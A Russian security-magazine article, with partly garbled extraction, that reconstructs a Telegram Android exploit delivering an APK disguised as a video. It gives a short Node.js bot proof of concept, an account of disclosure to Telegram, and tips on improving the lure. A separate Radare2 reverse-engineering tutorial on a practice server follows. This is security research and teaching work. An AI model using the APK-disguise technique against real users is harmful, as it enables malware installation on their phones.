Ну а в кон це в видео показан «отстук» в панель управле ния тро яном и воз- 
можность дос тупа к при ват ным дан ным и уда лен ного управле ния смар тфо- 
ном. Так же по видео мы можем кос венно под твер дить, что автор из Тур ции,
так как в панели фигури рует эта стра на, а IP рядом ука зан локаль ный.

ONE-TAP EXPLOIT

Итак, перед нами one-tap exploit (или one-click exploit) — экс пло ит одним кли- 
ком или тапом. Это тип уяз вимос ти, который поз воля ет зло умыш ленни ку
получить кон троль над устрой ством или акка унтом жер твы, если та сде лает
все го одно нажатие. Эти экс пло иты менее опас ны, чем, ска жем, RCE, пос- 
коль ку тре буют хоть и минималь ного, но все же дей ствия со сто роны поль- 
зовате ля: обыч но дос таточ но прос то клик нуть на вре донос ную ссыл ку.
Хороший обще извес тный при мер такой уяз вимос ти — XSS.

Тем вре менем я креп ко задумал ся, как же работа ет най ден ный баг и как
его мож но вос про извести.

ÊÀÊ ÓÑÒÐÎÅÍÀ ÓßÇÂÈÌÎÑÒÜ

Я перес мотрел видео и попытал ся соб рать мак симум информа ции. Может
быть, важ ны какие-то детали или вдруг попадут ся рабочие кус ки кода? Вни- 
матель но наб люда ем за про цес сом под готов ки: ука зыва ется кар тинка
для видео, ука зыва ется сам файл, который дол жен быть уста нов лен, ID бота
и TGID жер твы.

Из все го перечис ленно го сле дует, что дос таточ но передать любой
файл, — глав ное, что бы кли ент Telegram приз нал, что это видео. «Зна чит,
проб лема кро ется в отправ ке фай лов!» — решил я и пог рузил ся в изу чение
API Telegram, а точ нее — той час ти, где мы отправ ляем фай лы. Осо бое вни- 
мание, конеч но, уде ляем видео.

Вро де бы все в поряд ке: API как API. Но мой взгляд цеп ляет ся за неп римет- 
ное поле , в котором и переда ют кар тинку для видео. Как мы пом- 

ним, на видео как раз прик репля ли кар тинку. Вряд ли это сов падение.
Зачем-то ведь еще переда ется и mime type... В фун кции отправ ки видео мы
почему-то дол жны сооб щать, что отправ ляем видео. Подоз ритель но!

thumbnail

Что такое MIME
MIME-тип (Multipurpose Internet Mail Extensions) — это стан дарт, исполь- 
зуемый для опи сания типа содер жимого раз личных фай лов, переда ваемых
по сети. Пер воначаль но он раз рабаты вал ся для элек трон ной поч ты,
но теперь MIME-типы при меня ются в раз личных интернет-про токо лах, вклю- 
чая HTTP, что бы ука зать тип переда ваемо го кон тента.

MIME-тип сос тоит из двух час тей: основно го типа и под типа, раз делен ных
косой чер той (нап ример, ).type/subtype

При меры некото рых рас простра нен ных MIME-типов:
 — обыч ный тек сто вый файл;• text/plain

 — HTML-документ;• text/html

 — изоб ражение в фор мате JPEG;• image/jpeg

 — дан ные в фор мате JSON;• application/json

 — документ в фор мате PDF.• application/pdf

MIME-типы ука зыва ют, как сле дует интер пре тиро вать переда ваемый кон тент,
чем помога ют прог раммам кор рек тно обра баты вать и отоб ражать фай лы.

Ес ли мы сооб щаем, что тип — «видео», зна чит, мы можем при этом отпра вить
не видео? И если так, то мы, веро ятно, получим поведе ние, которое видели
в ролике с демонс тра цией: Telegram поп робу ет запус тить наше «не видео»,
у него ничего не получит ся, и он захочет уста новить «виде опле ер» для это го
типа фай лов. Все скла дыва ется, кро ме одно го момен та: непонят но,
как передать этот самый под ходящий виде опле ер для уста нов ки. Ну или,
говоря язы ком безопас ности, «наг рузку». Пока не все понят но, одна ко мы
явно на вер ном пути.

Та кие были мои раз мышле ния в тот момент. И конеч но, руки горели вос- 
про извести уяз вимость самос тоятель но.

ÏÈØÅÌ POC

Proof of Concept (PoC) — это, если мы говорим про безопас ность, демонс- 
тра ция воз можнос ти про экс плу ати ровать уяз вимость. PoC показы вает, что
баг реален и зло умыш ленник может его исполь зовать в сво их целях.

У нас уже дос таточ но ввод ных дан ных, что бы про верить гипоте зу, поэто му
прис тупим к кодин гу.

Пер вым шагом нуж но сде лать бота при помощи BotFather и получить
токен. Сде лать это эле мен тарно:

сту чим ся к ;• @BotFather
вы пол няем по оче реди коман ды  и ;• /start /newbot

вво дим дан ные, которые у нас зап рашива ет бот-отец (имя нового бота
и про чее);

•

прой дя «квиз», получа ем  нового бота.• botTokenTG

Да лее наб расыва ем на Node.js прос тей ший код, который будет отправ лять
видео. И конеч но, при меня ем обна ружен ные нами стран ные парамет ры. Поп- 
робу ем отпра вить файл APK, но с MIME-типом MP4. В треть ей строч ке встав- 
ляем токен, получен ный от BotFather.

const fs = require("fs");
const TelegramBot = require("node-telegram-bot-api");

 const token = "botTokenTG";
 const bot = new TelegramBot(token, { polling: true });

/ msg   bot.onText( \/video/, ( ) => {
 const chatId = msg.chat.id;
 bot.sendVideo(
   chatId, 

,    fs.readFileSync("/путь/к/файлу.apk")
   {
     width: 300, 
     height: 300, 
     duration: 30, 
   , } {

,      filename: "VIDEO.apk"
     contentType: "video/mp4"
   }
 );
});

Здесь  — это коман да, которую наш бот будет ждать, что бы отве тить

«экс пло итом».

/video

Вы бира ем APK (я тупо сде лал , что бы соз дать его) и ука- 
зыва ем путь к фай лу, который хотим отпра вить или запус тить.

touch VIDEO.apk

За пус каем демон бота и переда ем ему коман ду . В ответ он нам

воз вра щает сооб щение с нашим APK под личиной .

/video
video

Ре зуль тат — на скрин шотах ниже. Пус той файл отоб ража ется как белый
квад рат, на который мож но нажать.

Та паем, что бы пос мотреть, что же слу чит ся.

Офи геть! Нам пред лага ют уста новить при ложе ние! И что же будет, если
нажать «Открыть»? В таком слу чае Telegram зачем-то пыта ется уста новить
прис ланный ему файл. Наг рузка и есть тот файл, который мы прис лали. Фан- 
тасти ка!

Как? Зачем? Почему? Ска жу сра зу, это для меня так и оста лось загад кой:
Telegram зачем-то пыта ется уста нав ливать файл пле ером для самого себя. То
есть прис лали файл «ромаш ка.avi» и для прос мотра Telegram может
попытать ся открыть его в «ромаш ка.avi». К авто ру такого кода мно жес тво воп- 
росов (в том чис ле, где он берет нар котики), но для нас важ но, что экс пло ит
работа ет.

ÎÁÙÅÍÈÅ Ñ TELEGRAM

Я, как белый ресечер (и даже более того — автор кни ги по циф ровой
безопас ности, филан троп и, даст бог, мил лионер), конеч но же, пос читал сво-
им дол гом известить коман ду безопас ности телеги. Бла го с этим у них все
в поряд ке и пер вый же заход в Google при вел меня к адре су

.security@telegram.org

От личная новость! Мы на этом смо жем еще и зарабо тать пару десят ков веч- 
нозеле ных, ведь эта проб лема по мас шта бам вто рая пос ле недав ней свя зан- 
ной с опе чат кой в рас ширении фай ла. «Вдруг на какую-нибудь подер жанную
виде окар ту хва тит, это ж мож но будет с ИИ играть ся!» — подумал я ненаро- 
ком.

С вооду шев лени ем пишу пись мо в Telegram, при лагаю чер новик этой
статьи и экс пло ит, который мы сде лали выше. Отправ ляю и жду... Через пару
дней вижу, что поведе ние кли ента изме нили: теперь файл при лета ет прос то
как APK без кар тинки. Еще через пару дней получаю ответ, он ниже на скри не.

Об лом: пред ста вите ли Telegram отве тили, что баг пофик сили еще до моего
репор та и при няли какие-то меры на бэкен де. И всё. Никаких бла годар ностей
и почет ных гра мот, не говоря уже про круж ку сока. «Мы всё пофик сили
еще 9 июля, будь те здо ровы!» Ну толь ко без пожела ния здо ровья.

Что ж, говори те что хотите, а я наб людал баг пос ле 9 июля. С дру гой сто- 
роны, авторс тво я прис воить себе дей стви тель но не могу, хоть виде окар та бы
и не помеша ла. Так что оста ется толь ко вспом нить  про мужика,
которо му всё пофиг.

анек дот

Ду маю, заяв ления о том, что всё испра вили в тот же день, дела ются прос- 
то для под держа ния репута ции. Ну а проб лема «кто-то сдал баг рань ше»
быва ет даже на про ектах, в которых ты дей стви тель но нашел уяз вимость сам,
а тут я толь ко зап риметил ее в пуб личном бло ге.

Как выяс нилось поз же, в про даже экс пло ит появил ся месяцем рань ше,
6 июня, на пло щад ке с откры той регис тра цией. Так что вряд ли и этот день
мож но счи тать днем откры тия экс пло ита, ведь кто-то к это му вре мени
не толь ко сде лал PoC, но и соб рал про дукт на про дажу.

От редакции: переписка с Telegram
В тех слу чаях, ког да автор говорит одно, а пред ста вите ли ком пании — дру- 
гое, дело редак ции — нап равить офи циаль ный зап рос и при вес ти доводы
дру гой сто роны. Нам повез ло: пред ста витель Telegram сам обра тил ся к нам,
отре аги ровав на недав нюю пуб ликацию. О том же баге, что опи сан в этой
статье, сооб щила ком пания ESET, и новость об этом  на «Хакере»
23 июля.

выш ла

Нам написал Реми Вон и пред ста вил ся сот рудни ком Telegram. Даль ше
перевод его писем и моего отве та с англий ско го:

Õî ÷ó îáðà òèòü ñÿ ê âàì ïî ïîâîäó âàøåé ñòàòüè, ïðî øó âêëþ- 
÷èòü â íåå ñëå äóþùåå çàÿâ ëåíèå.

Ýòîò ýêñ ïëî èò íå ÿâëÿ åòñÿ óÿç âèìîñòüþ â Telegram. Îí òðå-
áóåò, ÷òî áû ïîëü çîâàòåëü îòêðûë âèäåî, ïîìåíÿë íàñ òðîé êè
áåçîïàñ íîñòè Android è âðó÷ íóþ óñòà íîâèë ïîäîç ðèòåëü íîå
«ìåäè àïðè ëîæå íèå».

Ìû ïîëó÷è ëè îò÷åò îá ýòîì ýêñ ïëî èòå 5 èþëÿ è ñäå ëàëè
èçìå íåíèÿ íà ñòî ðîíå ñåð âåðà 9 èþëÿ, ÷òî áû çàùèòèòü ïîëü- 
çîâàòå ëåé âñåõ âåð ñèé Telegram.

Чем я и вос поль зовал ся, что бы задать воп рос про нес тыков ки по вре мени.

Íå âèæó íèêàêèõ ïðîá ëåì ñ íàøåé íîâîñòüþ, ïîñ êîëü êó ýêñ- 
ïëî èòû îäíèì êëè êîì îïàñ íû è ýôôåêòèâ íû, à òàê æå çàäîêó- 
ìåí òèðîâà íû êàê  ïî MITRE. Êëè åíò ñêîå ïðè ëîæå íèå
Telegram ïðî ÿâëÿ ëî íåîæè äàí íîå äëÿ ïîëü çîâàòå ëÿ ïîâåäå íèå,
÷òî ïðåä ñòàâ ëÿëî óãðî çó. Äîïóñ òèìîñòü òàêîãî ïîâåäå íèÿ
è íàçûâà åòñÿ óÿç âèìîñòüþ. Ýòî ïîä òâåðæäà åò îò÷åò ESET, à òàê- 
æå ñàì ôàêò òîãî, ÷òî âàøè èíæå íåðû îïîç íàëè è áûñ òðî óñòðà- 
íèëè ïðîá ëåìó.

T1658

Áî ëåå èíòå ðåñåí äðó ãîé âîï ðîñ: ó íàñ åñòü ñâè äåòåëü òîãî,
÷òî àòà êà áûëà ïî�ïðåæ íåìó âîç ìîæíà è 11 èþëÿ, è ïîç æå —
âïëîòü äî 15 èþëÿ. Íå ìîã ëè áû âû ïîìî÷ü ïðî ÿñíèòü ýòó ñèòó- 
àöèþ?

На что получил сле дующий ответ.

Ýòî íèêîã äà íå áûëî óÿç âèìîñòüþ òèïà one-click. Ïîëü- 
çîâàòåëü äîë æåí áûë ïðåä ïðè íÿòü íåñ êîëü êî øàãîâ, ïðåæ äå ÷åì
ñòàòü æåð òâîé àòà êè. Telegram, ìîæåò áûòü, è ñêà ÷èâàë ôàé ëû
àâòî ìàòè ÷åñ êè, íî ïîëü çîâàòå ëÿì òåì íå ìåíåå íóæ íî áûëî
ðàç ðåøèòü óñòà íîâ êó APK-ïàêåòîâ, îòêðûòü ôàéë è ïîä òâåð äèòü
óñòà íîâ êó.

Êî ïèè ôàé ëà, îòïðàâ ëåííûå äî ñåð âåðíî ãî àïäåé òà 9 èþëÿ,
ïðî äîë æàëè îòîá ðàæàòü ñÿ êàê âèäåî. Ýòî áûëî èñïðàâ ëåíî
â ïîÿâèâ øåìñÿ âñêî ðå àïäåé òå ïðè ëîæå íèÿ.

Нам здесь оста ется толь ко пожать пле чами:
Нас той чивые заяв ления о том, что уяз вимость пофик сили 9 июля,
по-преж нему зву чат сом нитель но. Автор статьи нас таивает, что узнал
об уяз вимос ти 10 июля, и при водит скрин шоты, где экс плу ата ция про исхо- 
дит 11 июля — с совер шенно новым фай лом. Какой-то сер верный фикс,
может быть, и имел мес то, но его эффектив ность под воп росом. В таком
слу чае, рас суждая о копи ях фай ла, гос подин Вон здесь выда ет жела емое
за дей стви тель ное.

•

Уяз вимос ти час то под разуме вают усло вия для экс плу ата ции и от это го
не перес тают быть уяз вимос тями. Да и раз решение на уста нов ку APK —
никакая не ред кость. Так что, нес мотря на про тес ты со сто роны Telegram,
это, на наш взгляд, впол не мож но счи тать багом one-click.

•

— Ан дрей Пись мен ный

ÂÛÂÎÄÛ

На мой взгляд, соб лазн тор говать такими багами в дар кне те как раз таки дол- 
жен про падать бла года ря прог раммам баг баун ти, а если они работа ют
кое-как и с неохо той, то и сда вать баги будут так же. Поль зуясь слу чаем,
рекомен дую исполь зовать для безопас ной перепис ки  и . Что
до Telegram, то я рад, если получи лось сде лать и его (а сле дова тель но, и мир)
чуточ ку безопас нее.

Jabber Tox

Впро чем, силь но ли? Прис ланные APK пос ле фик са боль ше нель зя мас- 
кировать под видео, но при сылать по-преж нему мож но. При кли ке на них
Android по-преж нему будет пред лагать уста нов ку (если она раз решена в нас- 
трой ках) или совето вать вклю чить воз можность уста нов ки APK. Если сде лать
файл малень ким, то кли ент еще и авто мати чес ки ска чает его, что сок ратит
лиш ний шаг ата ки. Поиг рав с име нем фай ла, отте няющим рас ширение, зло- 
умыш ленник смо жет еще боль ше повысить свои шанс на успех. Так что пол- 
ностью хоронить этот век тор ата ки пока что ранова то.

https://t.me/CakesCats_com
https://x.com/0x6rss/status/1810669373394190659
https://t.me/BotFather
https://www.anekdot.ru/id/-110221009/
https://xakep.ru/2024/07/23/telegram-apk-0day/
https://attack.mitre.org/techniques/T1658/
https://xakep.ru/author/apismenny/
https://xmpp.org/software/?platform=all-platforms
https://tox.chat/
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ВЗЛОМ

Ес ли ты никог да не поль зовал ся Radare2, то
навер няка о нем слы шал: это опен сор сный
набор инс тру мен тов для иссле дова ния
прог рамм. В него вхо дит мощ ный дизас- 
сем блер и отладчик, поз воля ющий пог- 
рузить ся в сис тему глуб же, чем стан дар- 
тный GDB. В этой статье мы под робно
погово рим о филосо фии Radare2 и нач нем
работать с ним.

В статье «
» мы рас смот рели базовые средс тва дизас сем- 

бли рова ния и отладки при ложе ний в Unix-подоб ных опе раци онных сис темах,
нас толь ко ста рых, что ими поль зовались еще динозав ры. С дру гой сто роны,
уже в XXI веке были соз даны аль тер натив ные инс тру мен ты, бла года ря сво ему
удобс тву и мощи заво евав шие любовь тру дящих ся на ниве информа цион ной
(без)опас ности спе циалис тов.

От ладка прог рамм без исходни ков. Ана лизи руем дво ичные фай лы
в Linux штат ными средс тва ми

RADARE2

Как извес тно, Radare2 пред став ляет собой гло баль но изме нен ный форк пер- 
вого Radare. В соот ветс твии с закона ми мира Unix это набор узкоспе циали- 
зиро ван ных ути лит коман дной стро ки. Их мож но при менять как порознь, так
и вмес те: одна ути лита исполь зует резуль таты работы дру гой.

В набор вхо дит более десят ка ути лит. Вот некото рые из них:
 — собс твен но глав ная тул за, она спо соб на откры вать боль шое

количес тво раз ных источни ков вво да-вывода подоб но обыч ным фай лам:
дис ки, сетевые соеди нения, драй веры, про цес сы под отладкой. Поз воля ет
при помощи коман дной стро ки переме щать ся по фай лу и занимать ся
дизас сем бли рова нием, поис ком, ана лизом, изме нени ем и срав нени ем
дан ных с воз можностью визу али зации. Любой про цесс под дает ся скрип- 
тингу на мно гих язы ках, сре ди которых JavaScript, Ruby, Python и Lua.

• Radare2

 — ана лиза тор выраже ний. Уме ет делать базовые пре обра зова ния

меж ду раз ными фор матами: стро ками, зна чени ями с пла вающей запятой,
шес тнад цатерич ными чис лами и про чими. Так же под держи вает изме- 
нение поряд ка сле дова ния бай тов.

• Rax2

 — поз воля ет вос поль зовать ся биб лиоте кой  для поис- 
ка строк или бай тов по мас ке.

• Rafind2 r_search

 — показы вает всю информа цию о дво ичном фай ле: све дения

о сек циях, заголов ках, импорти рован ных дан ных и про чее. Понима ет мно- 
го фор матов исполня емых фай лов: PE, ELF, Mach-O, Java и дру гие.
С помощью пла гинов этот спи сок мож но рас ширить, пос ле чего
Rabin2 будет отоб ражать сим волы импорта и экспор та, биб лиотеч ные
зависи мос ти, стро ки, адре са точек вхо да и тип архи тек туры.

• Rabin2

 — поз воля ет нас тро ить сре ду для выпол нения или отладки при- 

ложе ний. Поз воля ет менять нас трой ки окру жения, не зат рагивая работу
ОС. Осо бен но час то исполь зует ся для пере опре деле ния потока вывода
отла жива емой с помощью Radare2 прог раммы.

• Rarun2

 — встро енный ассем блер/дизас сем блер. Пер воначаль но инс тру- 

мент был раз работан для вне сения изме нений в бинар ные фай лы. Его
основная фун кция — получить бай ты, соот ветс тву ющие задан ному опко ду
машин ной инс трук ции. Rasm2 под держи вает пла гины, что поз воля ет ему
работать с фай лами для раз ных архи тек тур.

• Rasm2

 — тул за для срав нения дво ичных фай лов, подоб но тому, как это

дела ет diff с тек сто выми фай лами. Radiff2 исполь зует раз ные алго рит мы
для поис ка и срав нения содер жимого фай лов.

• Radiff2

 — ком пилиру ет прог раммы, написан ные на собс твен ном язы ке

высоко го уров ня, в кро шеч ные бинар ники для архи тек тур x86, x86-
64 и ARM. Поз воля ет орга низо вать базовый блок для соз дания переме- 
щаемых фраг ментов кода, которые будут исполь зовать ся для внед рения
в целевые про цес сы при экс плу ата ции. Хотя по умол чанию Ragg2 ком- 
пилиру ет свой собс твен ный язык Ragg2, так же мож но ском пилиро вать код
на язы ке C, исполь зуя шелл-коды GCC или Clang.

• Ragg2

 — c помощью боль шого чис ла алго рит мов под счи тыва ет кон- 

троль ную сум му любых фай лов, дис ков или строк. Тул за так же спо соб на
кодиро вать и декоди ровать дан ные, исполь зуя прос тые опе рации, такие
как Base64, XOR и про чие.

• Rahash2

 — написан ный на Rust деком пилятор с ассем бле ра, получа емо го

от Rasm2, на псев до-C. К сожале нию, до сих пор нежиз неспо собен:
резуль таты его работы край не скром ные. Поэто му ути лита не вклю чена
в стан дар тную пос тавку фрей мвор ка.

• Rodeco

Так как Radare2 — Unix-ори енти рован ный фрей мворк, все ути литы в базовом
вари анте исполня ются в коман дной стро ке. Одна ко с Radare2 мож но
работать не толь ко в кон соль ной сре де: к услу гам хакера есть нес коль ко гра- 
фичес ких обо лочек, объ еди няющих все инс тру мен ты фрей мвор ка в мощ ную
инте рак тивную сре ду. Сре ди них осо бую популяр ность заво ева ли iaito
и Сutter. Они очень похожи, пос коль ку вто рой — форк пер вого.

Инс тру мен ты, вхо дящие в Radare2, мож но исполь зовать в самых раз ных
ОС и иссле довать код для раз ных про цес сорных архи тек тур. Под держи вают- 
ся x86-64, ARM, MIPS, PowerPC, SPARC, Z80, MOS 6502 и байт-код раз ных
вир туаль ных машин. Ана лизи ровать мож но PE32, PE32+, ELF, ROM-фай лы
игро вых прис тавок и мно гое дру гое.

Хо тя сами ути литы Radare2 где толь ко не работа ют, инте рак тивные сре ды
под держи вают ся лишь в основных дес ктоп ных ОС. Одна ко даже кон соль ные
ути литы Radare2 удоб ны в работе, если ты уме ешь с ними обра щать ся. Так же
управлять Radare2 мож но из веб-обо лоч ки.

Изу чив основные све дения, перехо дим к прак тике, а точ нее — к уста нов ке.

ÓÑÒÀÍÎÂÊÀ

В отли чие от прош лой статьи, где я исполь зовал Ubuntu, орга низо вывать
экспе римен ты сегод ня я буду в Debian Linux.

Пе ред уста нов кой Radare2 в Debian мне пот ребова лось уста новить 
, по умол чанию его в дис три бути ве не было. Луч ше сра зу уста новить

:

gnu 
make
build-essential

sudo apt-get install build-essential 

Хо тя мно гие дис три бути вы Linux содер жат готовые к инстал ляции пакеты
Radare2, вер сия из менед жера пакетов может быть не самой новой, поэто му
можешь ска чать пос леднюю вер сию с GitHub (заметим, что и обновлять
в таком слу чае даль ше при дет ся вруч ную):

git clone https://github.com/radareorg/radare2.git 

За пус тим уста нов ку:

cd radare2 
sudo sys/install.sh 

Внут ри под катало га  находят ся под папки со все ми перечис ленны ми

выше ути лита ми.

binr

Со дер жимое под катало га binr

За одно уста новим vim, если его нет в сис теме:

apt vim sudo install 

Хо тя, если пред почита ешь nano или дру гой редак тор, ты волен ста вить, что
тебе боль ше нра вит ся.

ÎÁÚÅÊÒ ÀÍÀËÈÇÀ

Итак, пред ста вим, что наш Linux находит ся в далекой-пре дале кой галак тике
и нам, геро ям, нуж но взло мать сер вак зло дея-работор говца Джаб бы Хат та.
Прог рамма на этом сер вере написа на на C, потому что Джаб ба пред почита ет
олд скул.

Я пред лагаю тебе ска чать исходный код и, не изу чая его, что бы не под гля- 
дывать в раз гадку, сра зу ском пилиро вать. Пер вым делом кло нируй репози- 
торий с . Далее ком пилируй сер вер для 64-бит ной плат формы,
так как этот вари ант для нас явно инте рес нее.

мо его GitHub

На ходясь в катало ге с исходни ком нашего сер вера, выпол ним ком- 
пиляцию и сбор ку:

gcc server.c -o server64.elf 

На выходе получа ем исполня емый ELF-файл, над которым мы будем работать
на про тяже нии статьи.

ÇÀÏÓÑÊ

Мы не зна ем, что дела ет утя нутый у Джаб бы исполня емый файл, поэто му вна- 
чале прос то запус тим его и пос мотрим. Неиз вес тные фай лы луч ше все го
выпол нять в изо лиро ван ной сре де, ведь в реаль ной жиз ни что толь ко не при- 
ходит ся отла живать. Поэто му я работаю в вир туаль ной машине, которая
не содер жит никаких цен ных дан ных, что рекомен дую и тебе.

Итак, из катало га HackThisServer запус тим наш сер вер:

./server64.elf 

Ни чего видимо го не про исхо дит: веро ятно, прог рамма ждет обра щения.
В качес тве кли ента для под клю чения к запущен ному сер веру вос поль- 

зуем ся ути литой netcat, задав в парамет рах адрес целевой машины и номер
пор та. В дру гом окне тер минала вве ди (номер пор та мы узна ем чуть поз же,
пока при ми дан ный по умол чанию):

nc localhost 14884 

В резуль тате нас встре тит экран авто риза ции.

Сис тема канали зации Джаб бы

Поп робу ем ввес ти . Сер вер отве тит: «These are not the droids you are
looking for!» При этом сеанс netcat будет завер шен.

xakep

Продолжение статьи →

http://www.t2d-dev.ru/
https://xakep.ru/2022/11/30/linux-debug/
https://github.com/yurembo/HackThisServer
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ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÈÑÑËÅÄÎÂÀÍÈÅ: ÑÒÀÒÈ×ÅÑÊÈÉ ÀÍÀËÈÇ

Ис поль зование Radare2 из коман дной стро ки похоже на работу с отладчи ком
GDB. Что бы луч ше усво ить коман ды R2, пред лагаю пер вое вре мя исполь- 
зовать имен но кон соль ный вари ант, не при бегая к помощи визу аль ных обо- 
лочек. Давай пос мотрим, как из коман дной стро ки про водить ста тичес кое
иссле дова ние и динами чес кий ана лиз бинар ника.

Ýòàï ïåðâûé — ïîäãîòîâèòåëüíûé
Ос тава ясь в катало ге с ELF-фай лом, нат равим на него дизас сем блер:

r2 server64.elf 

Все пос леду ющие коман ды будут выпол нять ся над ука зан ным фай лом, поэто- 
му его имя боль ше вво дить не понадо бит ся.

В приг лашении для вво да Radare2 показы вает адрес точ ки вхо да прог- 
раммы.

За пус тим про цеду ру ана лиза:

aaa 

В про цес се ана лиза Radare2 выяв ляет точ ку вхо да, импорти рован ные фун- 
кции, пыта ется опре делить вызовы фун кций, их парамет ры, вос ста нав лива ет
перемен ные. Если при ложе ние написа но на ООП-язы ках, опре деля ет
методы, а если на C++, находит и пар сит таб лицу вир туаль ных фун кций. IDA
Pro запус кает подоб ную про цеду ру ана лиза авто мати чес ки сра зу пос ле
откры тия фай ла.

Radare2 пос ле ана лиза

В начале ана лиза хорошим решени ем будет пос мотреть на спи сок импорти- 
рован ных фун кций, так мы смо жем понять, чем вооб ще занима ется при ложе- 
ние:

ii 

Спи сок импорти рован ных фун кций

Из получен ной информа ции мож но сде лать вывод: при ложе ние работа ет
со стро ками, фай лами, потока ми вво да-вывода и сокета ми. Собс твен но, воз- 
можнос ти прак тичес ки любого сер верно го при ложе ния.

К сло ву, о коман дах. R2 пред лага ет свою спра воч ную сис тему по каж дой
коман де в духе справ ки man. Дос таточ но ввес ти пер вую бук ву коман ды, затем
знак воп роса, и ты получишь спи сок всех команд, начина ющих ся с вве ден ной
бук вы, а к каж дой — крат кое опи сание дей ствий.

Что бы получить все парамет ры фай ла, надо выпол нить коман ду .i

Раз верну тый спи сок парамет ров фай ла

Кро ме того, в начале ана лиза нам необ ходимо узнать, какие стро ки содер жит
бинар ник, ведь впол не воз можно, что сре ди них при таил ся жела емый пароль.

Ко ман да  показы вает чита емые стро ки, находя щиеся в сек ции .data.
А коман да  выводит стро ки во всем бинар нике. Как мы зна ем, прог- 

раммист может зап росто соз дать свою нес тандар тную сек цию и запих нуть
пароль в нее (см. « »).

iz
izz

Фун дамен таль ные осно вы хакерс тва

Вы вод коман ды izz

Ес ли приг лядеть ся, кро ме адре сов, в выводе ука заны наз вания сек ции,
кодиров ка и сама стро ка.

Под ходящих строк нес метное количес тво. Все рав но что искать игол ку
в сто ге сена. Так что пока ничего инте рес ного най ти не уда лось.

Да вай выведем спи сок фун кций в этой прог рамме. Для это го слу жит
коман да .afl

Фун кции, сос тавля ющие прог рамму

В выводе есть фун кции с говоря щими наз вани ями: , ,

, ,  и дру гие. Что ж, нач нем
с пер вой.

main authenticate
check_username check_password start_server

Ýòàï âòîðîé — âíóòðåííîñòè çàùèòíîãî ìåõàíèçìà
Заг лянем для начала в фун кцию , что бы опре делить, чем прог рамма

занима ется, что вызыва ет, воз вра щает и так далее. Для это го в R2 есть
коман да  (от англий ско го seek — искать). В качес тве парамет ра она может

при нимать адрес, по которо му надо перей ти, или наз вание фун кции,
в которую будет сде лан переход. Если пос мотришь справ ку по этой коман де,
най дешь еще мно го дру гих парамет ров.

main

s

Пос ле перехо да в стро ке вво да коман ды мы обна ружим обновлен ное сме- 
щение. Это зна чит, что нуж ная фун кция най дена и переход на нее удач но
выпол нен. Но прос того перехо да мало, нам надо пос мотреть резуль тат
дизас сем бли рова ния этой фун кции, для чего слу жит коман да . Если выз- 

вать ее без парамет ров (как в нашем слу чае), она отоб разит текущую фун- 
кцию — ту, на началь ный адрес которой ука зыва ет кур сор.

pdf

Ди зас сем бли рован ная фун кция main в кон соли

В начале фун кции фор миру ется параметр: IP-адрес, передан ный поль зовате- 
лем в коман дной стро ке, или, при отсутс твии таково го, локаль ный адрес хос- 
та (127.0.0.1), который далее через регистр RDI переда ется в фун кцию

. Стоп! При чем здесь регистр RDI? Ведь на 64-бит ной плат- 

форме пер вый целочис ленный параметр переда ется через регистр RCX?

start_server

Но это отно сит ся толь ко к Windows, а в Linux дей ству ет дру гое сог- 
лашение — System V AMD64 ABI. Оно гла сит, что пер вые шесть целочис- 
ленных парамет ров или ука зате лей переда ются в сле дующих регис трах: RDI,
RSI, RDX, RCX, R8, R9. При этом пер вые восемь зна чений с пла вающей
запятой переда ются в регис трах XMM0 — XMM7. Все осталь ное, если име ет
мес то, переда ется через стек.

Ди зас сем бли рован ная фун кция start_server

Про исхо дящее в  нас не осо бо вол нует, пос коль ку эта фун кция

не при нима ет учас тия в защит ном механиз ме, а толь ко откры вает порт
для прос лушива ния. Это под твержда ет переда ваемый ей параметр, содер- 
жащий IP-адрес хос та. Одна ко нам важ но разоб рать ся в ней, что бы узнать
номер откры ваемо го для прос лушива ния пор та.

start_server

Итак, повер хностно взгля нем на киш ки этой фун кции. Аргу мент (IP-адрес)
копиру ется в перемен ную , далее соз дает ся струк тура сокета со зна- 

чени ями по умол чанию.

var_28h

Пос ле вызова сис темной фун кции  ее резуль тат — сокет
помеща ется в перемен ную . Выделя ется блок памяти, пос ле чего

вызыва ется фун кция , которая пре обра зует передан ный

в десятич ном фор мате адрес в четырех компо нен тный IP-адрес, а тот сох- 
раня ется в струк туру .

sym.imp.socket
socket

sym.imp.inet_addr

in_addr
Да лее про исхо дит вызов , эта фун кция уста нав лива ет

порядок пре обра зова ния бай тов хос та (на x86-64 обратный порядок)
в сетевой порядок (пря мой). Имен но эта фун кция получа ет в парамет ре чис- 
ло 0x3A24. R2 неп равиль но опре делил фор мат аргу мен та, пос тавив в ком- 
мента рии знак дол лара. Эта фун кция при нима ет целочис ленный параметр,
пре обра зуем:

sym.imp.htons

? 0x3A24 

Ре зуль тат можешь наб людать на скрин шоте.

Зна чения, соот ветс тву ющие пред ложен ному набору бай тов

В пер вой стро ке резуль тата отоб ража ется нуж ное нам чис ло — 14 884, то
есть номер откры ваемо го для прос лушива ния пор та. Все при веден ные выше
зна чения помеща ются в струк туру сокета, выделен ную вна чале, а пос ледняя
переда ется в сис темную фун кцию . Она свя зыва ет локаль ный

адрес с сокетом. В кон це  вызыва ется биб лиотеч ная фун кция

, которая откры вает сокет для прос лушива ния вхо дящих сооб щений.
На выходе  выда ет дес крип тор сокета.

sym.imp.bind
start_server

listen
start_server

Пос ле воз вра щения в  дес крип тор сокета помеща ется в перемен ную

. Далее по перек рес тной ссыл ке вид но, что начина ется тело цик ла:

main
var_ch

CODE XREF from main @ 0x1a8b(x) 

Ес ли прос ледить, отку да про исхо дит переход на эту стро ку, ока жет ся, что он
выпол няет ся из самого кон ца фун кции опе рато ром безус ловно го перехо да

.jmp
В сле дующих четырех строч ках про исхо дит под готов ка парамет ров для их

переда чи фун кции , получен ный ранее дес крип тор сокета как раз

и переда ется в нее. Биб лиотеч ная фун кция  ожи дает под клю чения

к передан ному в парамет ре сокету и в слу чае успе ха воз вра щает ненуле вое
зна чение — дес крип тор сокета, с которым про изош ло соеди нение. Он сох- 
раня ется в перемен ную .

accept
accept

fildes
Да лее вызыва ется фун кция . Парамет ром ей переда ется дес крип- 

тор сокета. Ее задача — вывод экра на приг лашения для авто риза ции. А дес- 
крип тор сокета слу жит для ука зания, куда вывес ти дан ные (ведь это может
быть уда лен ный комп). Еще ниже сле дует фун кция , ей тоже
переда ется параметр — зна чение перемен ной .

welcome

authenticate
fildes

С фун кции  начина ется механизм аутен тифика ции. Это сле- 

дует из того, что сра зу пос ле ее вызова идет условный опе ратор ,

